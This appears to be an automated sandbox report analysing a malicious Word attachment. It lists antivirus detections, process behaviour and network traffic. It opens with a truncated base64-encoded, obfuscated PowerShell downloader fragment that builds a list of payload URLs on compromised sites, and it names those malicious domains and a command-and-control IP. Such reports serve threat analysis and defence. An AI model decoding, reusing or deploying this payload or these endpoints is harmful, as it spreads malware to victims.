wBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAKwAnAC8AJwArACcAQAAnACsAKAAnAF0AYQAnACsAJwBuACcAKQArA

                      Signature Overview

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection:

                      barindex
                      Antivirus detection for URL or domainShow sources
                      Source: http://veterinariadrpopui.comAvira URL Cloud: Label: malware
                      Source: http://veterinariadrpopui.com/content/5f18Q/Avira URL Cloud: Label: malware
                      Source: http://sofsuite.com/wp-includes/2jm3nIk/Avira URL Cloud: Label: phishing
                      Source: http://khanhhoahomnay.net/wordpress/CGMC/Avira URL Cloud: Label: malware
                      Source: https://gurztac.wtchevalier.com/wp-content/YzZ6YZ/Avira URL Cloud: Label: malware
                      Source: http://shop.elemenslide.com/wp-content/n/Avira URL Cloud: Label: malware
                      Source: http://wpsapk.com/wp-admin/v/Avira URL Cloud: Label: malware
                      Multi AV Scanner detection for domain / URLShow sources
                      Source: veterinariadrpopui.comVirustotal: Detection: 7%Perma Link
                      Source: khanhhoahomnay.netVirustotal: Detection: 6%Perma Link
                      Multi AV Scanner detection for submitted fileShow sources
                      Source: MAIL-0573188.docVirustotal: Detection: 66%Perma Link
                      Source: MAIL-0573188.docMetadefender: Detection: 47%Perma Link
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_100011C0 Control_RunDLL,VirtualAlloc,VirtualAlloc,GetModuleHandleExA,VirtualAlloc,GetProcAddress,GetProcAddress,VirtualAlloc,GetProcAddress,LdrFindResource_U,LdrAccessResource,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDeriveKey,VirtualAlloc,_memmove,CryptEncrypt,7_2_100011C0
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_100021F0 CryptStringToBinaryW,CoTaskMemAlloc,CryptStringToBinaryW,StgDeserializePropVariant,CoTaskMemFree,7_2_100021F0
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_10002730 StgSerializePropVariant,CryptBinaryToStringW,CoTaskMemAlloc,CryptBinaryToStringW,CoTaskMemFree,CoTaskMemFree,7_2_10002730
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 13_2_001F75AE CryptDecodeObjectEx,13_2_001F75AE
                      Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
                      Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2100862413.0000000002B87000.00000004.00000040.sdmp
                      Source: Binary string: mscorlib.pdb source: powershell.exe, 00000005.00000002.2100862413.0000000002B87000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\mscorlib.pdbC:\W source: powershell.exe, 00000005.00000002.2100862413.0000000002B87000.00000004.00000040.sdmp
                      Source: Binary string: scorlib.pdb source: powershell.exe, 00000005.00000002.2100862413.0000000002B87000.00000004.00000040.sdmp
                      Source: Binary string: E:\WindowsSDK7-Samples-master\WindowsSDK7-Samples-master\winui\shell\appshellintegration\RecipePropertyHandler\Win32\Release\RecipePropertyHandler.pdb source: rundll32.exe, 00000007.00000002.2104690779.000000001000D000.00000002.00020000.sdmp
                      Source: Binary string: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000005.00000002.2100862413.0000000002B87000.00000004.00000040.sdmp
                      Source: Binary string: mscorlib.pdb!! source: powershell.exe, 00000005.00000002.2100862413.0000000002B87000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000005.00000002.2100862413.0000000002B87000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\System.pdbon.dll source: powershell.exe, 00000005.00000002.2100862413.0000000002B87000.00000004.00000040.sdmp
                      Source: Binary string: ws\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dllem.pdb5\ source: powershell.exe, 00000005.00000002.2100862413.0000000002B87000.00000004.00000040.sdmp
                      Source: Binary string: ws\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000005.00000002.2100862413.0000000002B87000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000005.00000002.2100862413.0000000002B87000.00000004.00000040.sdmp
                      Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2100799855.0000000002AF0000.00000002.00000001.sdmp
                      Source: Binary string: C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000005.00000002.2100862413.0000000002B87000.00000004.00000040.sdmp
                      Source: Binary string: m.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2100862413.0000000002B87000.00000004.00000040.sdmp
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 13_2_001F109C FindFirstFileW,13_2_001F109C
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\userJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppDataJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.iniJump to behavior
                      Source: global trafficDNS query: name: wpsapk.com
                      Source: global trafficTCP traffic: 192.168.2.22:49169 -> 45.130.229.91:443